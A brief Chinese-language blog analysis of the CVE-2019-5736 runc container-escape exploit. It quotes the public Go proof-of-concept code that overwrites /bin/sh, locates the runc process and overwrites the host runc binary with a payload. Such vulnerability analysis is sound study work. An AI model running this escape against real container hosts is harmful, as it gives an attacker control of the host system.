CVE-2019-5736 docker escape 简要分析

闲来没事,简单分析分析,理解理解

分析exp

首先这个跟runc有关

RunC 是一个轻量级的工具,它是用来运行容器的,只用来做这一件事,并且这一件事要做好。我们可以认为它就是个命令行小工具,可以不用通过 docker 引擎,直接运行容器。

exp:
https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go

步骤1:首先替换了/bin/sh#!/proc/self/exe,这样的话,当某个程序调用/bin/sh的时候,就会调用自身

1
2
3
4
5
6
7
8
9
10
11
12
13
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")

我们可以用ll看看,是不是指向ls

1
2
root@b7652e3a006b:~# ll /proc/self/exe
lrwxrwxrwx 1 root root 0 Jun 19 15:30 /proc/self/exe -> /bin/ls*

步骤2:寻找runc的pid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}

步骤3:往找到的runc的文件句柄写我们要执行的命令什么的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")

// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
writeHandle.Write([]byte(payload))
return
}
}

找pid的目的是找到runc的路径,比如下面可以通过 /proc/pid/exe获得/bin/bash的软连接,只不过上面是获取runc的软连接

1
2
3
4
5
6
root@b7652e3a006b:~# ps -aux | grep bash
root 1 0.0 0.1 18508 3160 pts/0 Ss+ 15:11 0:00 /bin/bash
root 10 0.0 0.1 18824 3836 pts/1 Ss 15:18 0:00 /bin/bash
root 46 0.0 0.0 11464 1040 pts/1 S+ 15:33 0:00 grep --color=auto bash
root@b7652e3a006b:~# ll /proc/10/exe
lrwxrwxrwx 1 root root 0 Jun 19 15:18 /proc/10/exe -> /bin/bash*

步骤4:当用户调用docker exec的时候,相当于runc 调用/bin/sh,而/bin/sh被我们改为#!/proc/self/exe,即runc运行自身,而runc自身也被我们修改了,所以相当于runc执行了我们的代码

Reference

https://thinkycx.me/posts/2019-05-23-CVE-2019-5736-docker-escape-recurrence.html
https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go

自愿打赏专区